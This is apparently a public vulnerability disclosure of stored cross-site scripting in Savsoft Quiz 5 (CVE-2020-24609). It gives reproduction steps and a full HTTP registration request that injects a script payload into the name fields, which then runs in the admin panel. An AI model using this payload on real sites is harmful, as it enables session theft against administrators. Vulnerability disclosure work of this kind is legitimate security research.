Savsoft Quiz 5 - Stored Cross-Site Scripting

# Exploit Title: Savsoft Quiz 5 - Stored Cross-Site Scripting
# Date: 2020-07-28
# Exploit Author: Mayur Parmar(th3cyb3rc0p)
# Vendor Homepage:  https://savsoftquiz.com/
# Software Link:  https://github.com/savsofts/savsoftquiz_v5.git
# Version: 5.0
# Tested on: Windows 10
# Contact: https://www.linkedin.com/in/th3cyb3rc0p/
# CVE: CVE-2020-24609

Stored Cross-site scripting(XSS):
Stored attacks are those where the injected script is permanently stored on the target servers,
such as in a database, in a message forum, visitor log, comment field, etc.
The victim then retrieves the malicious script from the server when it requests the stored information.
Stored XSS is also sometimes referred to as Persistent XSS.

Attack vector:
This vulnerability can results attacker to inject the XSS payload in User Registration section and each time admin visits the manage user section from admin panel,
the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: First Name, Last Name
Steps for reproduce:
1. Goto registration page
2. fill the details. & put <script>alert("XSS")</script> payload in First name,Last name
3. Now goto Admin Panel.we can see that our payload gets executed.

POST /index.php/login/insert_user/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
Origin: http://localhost
Connection: close
Referer: http://localhost/index.php/login/registration/
Cookie: ci_session=d99b121b1213b92a163181fd49c75f667dbce9ea
Upgrade-Insecure-Requests: 1

email=hack3r%40gmail.com&password=Hacker%40gmail.com&first_name=%3Cscript%3Ealert%28%22XSS+0%22%29%3B%3C%2Fscript%3E&last_name=%3Cscript%3Ealert%28%22XSS+2%22%29%3B%3C%2Fscript%3E&contact_no=9876543210&gid%5B%5D=1